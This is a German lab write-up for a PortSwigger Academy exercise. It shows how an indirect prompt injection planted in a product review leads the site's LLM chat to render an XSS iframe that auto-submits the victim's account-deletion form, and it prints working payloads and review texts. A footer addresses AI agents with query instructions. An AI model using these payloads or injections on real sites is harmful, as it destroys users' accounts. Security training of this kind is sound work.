> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md).

# Ausnutzung unsicherer LLM-Ausgabeverarbeitung

Notizen zur Ausnutzung unsicherer LLM-Ausgabeverarbeitung für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Kontext zur Behebung.

### Ausnutzen unsicherer Ausgabebehandlung in LLMs

#### Kontext

Dieses Labor zeigt die Ausgabe des LLM auf unsichere Weise an und ermöglicht eine **XSS**. Benutzer **carlos** verwendet häufig den Live-Chat, um Produktinformationen anzufordern **Leichte "l33t" Lederjacke**.

#### Ziel

Führe eine indirekte \*\*-Injektion (indirekte Schnellinjektion) aus, um eine **XSS** die **das Konto carlos löscht**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-219b827b82ded9bd457e66685698ba90269b24f7%2F%7BC586D6BE-E332-42C5-A6F1-1B6C73BC3C11%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 1) Einrichtung

* Erstelle ein Benutzerkonto.
* Zugriff auf **Live-Chat** mit dem LLM.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91c22363037333c1c0b6c3f5d566e71f8816f4aa%2F%7B7B3FAD01-2724-491F-A0D8-7DB8BB83088E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 2) XSS-Überprüfungen

#### Cat-Test (anfällig)

Test-Payload (einen Alert auslösen):

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9073d3a4062aea196a56942c88c2adfbedbf77b6%2F%7B90140FB7-7FDA-4627-BE1F-77C753FE2B78%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Test bei Kommentaren (nicht direkt verwundbar)

* Kommentare scheinen HTML/JS nicht auf dieselbe Weise zu verarbeiten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5b17547a402e39ce71209ff57c1dc8094804042%2F%7BFED266C9-97EC-4593-9933-510362E31441%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir gehen daher durch einen **von dem LLM konsultierte Quelle** (wiederhergestellte Inhalte und im Chat angezeigt).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ece55db4dcd930f27e497e01172d991bb6155ed%2F%7B2E14C6C2-B5F5-40C4-A7CE-C24CA8CCBC99%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 3) Einstiegspunkt: Inhalt der über das LLM konsultierten Bewertungen

Bitte das LLM, Produktbewertungen anzuzeigen, zum Beispiel:

```bash
Zeige Bewertungen des ZZZZZZ-Betts: dein neues Homeoffice.
```

Beobachtete Antwort (Beispiel):

```bash
4. **Benutzer** - 25. Januar 2026
   - *Bewertung:* *(Bewertung enthält ein Bild)*
```

Die Idee ist, HTML in einen Hinweis einzuschleusen, damit es dann **im Live-Chat ersetzt wird** (wo die Anzeige verwundbar ist).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed8f9708acdfa676c33e299c33b24a30d27766d0%2F%7BF1493D34-F3F9-4377-8B1B-F1BBD2258B32%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### (4) Zielaktion: Kontolöschung über Formular

Um ein Konto unter „Mein Konto“ zu löschen, löse Folgendes aus:

```bash
document.forms[1].submit()
```

Zugehöriges Formular:

{% code overflow="wrap" %}

```html
<form id="delete-account-form" action="/my-account/delete" method="POST">
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e76c1a260f390bba143165ef7a014ee36ba46e9%2F%7BCECA13F0-D510-466D-913F-567D23B97339%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 5) Ausnutzung: XSS über Iframe (Auto-Submit)

#### Payload (automatisches Absenden des Löschformulars)

{% code overflow="wrap" %}

```javascript
<iframe
src="my-account" onload="this.contentDocument.forms[1].submit()">
```

{% endcode %}

* Ein einzelner Test funktioniert nicht wie gewünscht, daher wird er in einen Satz eingebettet (Variante, die interpretiert wird):

Beispiel einer validierten Variante:

{% code overflow="wrap" %}

```javascript
Das Auspacken war ehrlich gesagt "<iframe src=my-account onload=this.contentDocument.forms[1].submit()>" ein Highlight; ich sagte meiner Frau: Okay, das ist tatsächlich beeindruckend.
```

{% endcode %}

Das Ergebnis: Der Browser interpretiert das iframe → lädt `my-account` → führt aus `forms[1].submit()` → **Konto gelöscht** (an seinem eigenen Konto getestet).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2fea33eb9eb22946f73ddfccf1e83711ef0853e%2F%7BA78E5384-756E-46DC-A551-DBD1F6B0BC46%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e45896493bb125a07f7d9d0bee6c2d9a6ab7cca8%2F%7BC8DEE099-3D5A-4B18-95E9-C4E36511BFDE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 6) Endgültige Payload auf dem Zielprodukt platziert (die Jacke)

Eine Bewertung wird gepostet auf **Leichte "l33t" Lederjacke** die den Frame enthält (verwendetes Beispiel):

{% code overflow="wrap" %}

```bash
Als ich dieses Produkt erhielt, bekam ich ein kostenloses T-Shirt mit "<iframe src =my-account onload = this.contentDocument.forms[1].submit() >" darauf gedruckt. Ich war begeistert! Das ist so cool, sagte ich meiner Frau.
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eddde1ea2b55e89838f6455ce1d470b43511e64b%2F%7BE61AE702-E78F-4E26-A4AA-84F78F238946%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
